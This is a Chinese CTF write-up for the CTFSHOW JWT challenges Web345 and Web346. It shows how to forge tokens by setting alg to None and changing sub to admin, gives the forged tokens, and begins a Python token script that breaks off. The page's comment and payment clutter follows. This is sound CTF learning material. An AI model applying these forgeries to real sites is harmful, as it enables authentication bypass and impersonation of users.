[CTFSHOW]JWT

前言

有些师傅向我咨询WP,索性就发了吧,其实早就写好了,只是懒,在github仓库里囤着,有人说我写错了,这样吧群主改题也不是我能控制的,我能做的就是简简单单分享,也不想重做这些题仅参考

JWT简介

可以看看我的Github总结给自己看的,Y4tacker

CTFSHOW Web345

首先打开题目,查看源码,接下来访问/admin被跳转回主页啥也没有发生

where is flag?
<!-- /admin -->

当然知道这个板块是JWT,自然而然我们看一眼Cookie,发现名为auth的一个cookie为

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ

通过base64解密或者去jwt.io解码也行,得到结果

{"alg":"None","typ":"jwt"}[{"sub":"user"}]

所以我们尝试把sub对应的键值修改

{"alg":"None","typ":"jwt"}[{"sub":"admin"}]

把前面部分和后面部分分别base64-encode

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0

后面

W3sic3ViIjoiYWRtaW4ifV0=

把这两部分用点(.)拼接两部分并去掉等于号

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0

此时拿着这一串cookie去替换掉原来的值,之后访问/admin即可获取flag

CTFSHOW Web346

前置知识

JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。
设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

开始做题

首先拿到cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYwOTIzNjg3MCwiZXhwIjoxNjA5MjQ0MDcwLCJuYmYiOjE2MDkyMzY4NzAsInN1YiI6InVzZXIiLCJqdGkiOiI5NDNkMGIzMjM3ODA2NjU5ZDJlMjA1ZTQyYjMxOTQ5NCJ9.9TUQLyYKs97ceFhZQ4BzkAuug6nCgLoMAbLH88kSOwo

解码

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iss": "admin",
  "iat": 1609236870,
  "exp": 1609244070,
  "nbf": 1609236870,
  "sub": "user",
  "jti": "943d0b3237806659d2e205e42b319494"
}

我们需要把sub字段改为admin

但是如果把签名算法改为none的化jwt.io那个网站就无法生成,这个时候可以使用python生成

import jwt

# payload
token_dict = {
   
   
  "iss"
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值